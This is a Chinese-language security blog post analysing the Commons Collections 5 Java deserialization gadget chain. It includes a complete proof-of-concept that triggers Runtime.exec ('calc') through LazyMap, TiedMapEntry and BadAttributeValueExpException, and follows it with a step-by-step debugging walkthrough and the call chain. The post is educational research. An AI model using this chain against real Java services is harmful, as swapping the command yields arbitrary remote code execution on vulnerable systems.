Java安全之Commons Collections5分析
文章首發:Java安全之Commons Collections5分析
0x00 前言
在後面的幾條CC鏈中,如果和前面的鏈構造都是基本一樣的話,就不細講了,參考一下前面的幾篇文。
在CC5鏈中ysoserial給出的提示是需要JDK1.8並且SecurityManager
需要是關閉的。先來介紹一下SecurityManager
是幹嘛的。SecurityManager
也就是java的安全管理器,當執行未知的Java程式的時候,該程式可能有惡意程式碼(刪除系統檔案、重啟系統等),為了防止執行惡意程式碼對系統產生影響,需要對執行的程式碼的許可權進行控制,這時候就要啟用Java安全管理器。該管理器預設是關閉的。
0x01 POC分析
package com.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class cc5 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
outputStream.writeObject(poc);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
前面的上半段和CC1鏈是一模一樣的,主要來分析在這兩者中不同的部分。
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
前面的new了一個HashMap
傳入到LazyMap
裡面,同時也傳入了 ChainedTransformer
例項化物件,當呼叫get方法的時候,就會呼叫到 ChainedTransformer
的transform
f方法,這個沒啥好說的,老面孔了。前面也分析過好幾回了。主要的是下面的這一段程式碼。
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
TiedMapEntry
是一個新生面孔,來檢視一下該類原始碼。
該類的構造方法需要2個引數。所以我們的POC程式碼中,傳入了一個LazyMap
例項化物件和一個123
的字元做佔位。
而在getValue
方法裡面就會去呼叫到剛剛賦值的map類get方法。前面我們傳入的是LazyMap
物件,這時候呼叫get方法的話,就和前面的串聯起來達成命令執行了。這裡先不做分析,來到下一步,檢視一下,哪個地方會呼叫到該方法。
而在toString
方法裡面就會去呼叫到getValue
方法。
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
再來看下面一段程式碼,new了一個BadAttributeValueExpException
的物件,並且反射獲取val
的值,將val
的值設定為TiedMapEntry
例項化物件。
在BadAttributeValueExpException
的readObject
方法會獲取到val
的值,然後賦值給valObj
變數,然後呼叫valObj
的toString
方法。
0x02 CC5鏈除錯
在readObject
複寫點打個斷點,也就是BadAttributeValueExpException
的readObject
方法。
上面斷點的地方會去獲取val
的值,賦值給valObj
,前面我們使用反射將val
設定為TiedMapEntry
的物件。
這裡會去呼叫valObj
的toString
方法,也就是TiedMapEntry
的toString
方法。跟進一下該方法,檢視呼叫。
這裡面會去呼叫getKey
和getValue
方法,這裡選擇跟蹤getValue
方法。
這裡的this.map
為LazyMap
例項化物件,是在建立TiedMapEntry
物件的時候傳參進去的。再跟進一下get方法就和前面除錯CC1鏈的步驟一樣了。
這裡會去呼叫this.factory
的transform
,也就是ChainedTransformer
的transform
。再來跟進一下。
接著就是遍歷呼叫陣列裡面的transform
方法。第一個值為ConstantTransformer
,會直接返回傳參的值。
這裡返回的是Runtime
,將該值傳入第二次的引數裡面呼叫transform
方法。
第二次遍歷的值是InvokerTransformer
物件, 這裡的transform
方法會反射去獲取方法並且進行執行。第二次執行返回的是Runtime.getRuntime
的例項化物件。再傳入到第三次執行的引數裡面去執行。
第三次去執行則是獲取返回他的invoke
方法,傳入給第四次執行的引數裡面。
第四次執行裡面的this.iMethodName
為exec
,this.iArgs
為calc
。執行完成這一步過後就會去執行我們設定好的命令,也就是calc。彈出計算器。
呼叫鏈
BadAttributeValueExpException.readObject->TiedMapEntry.toString
->LazyMap.get->ChainedTransformer.transform
->ConstantTransformer.transform->InvokerTransformer.transform
->Method.invoke->Class.getMethod
->InvokerTransformer.transform->Method.invoke
->Runtime.getRuntime-> InvokerTransformer.transform
->Method.invoke->Runtime.exec
0x03 結尾
其實在該鏈的後面中,並沒有寫太詳細,因為後面和CC1鏈中的都是一模一樣的。如果沒有去除錯過的話,建議先去除錯一下CC1的鏈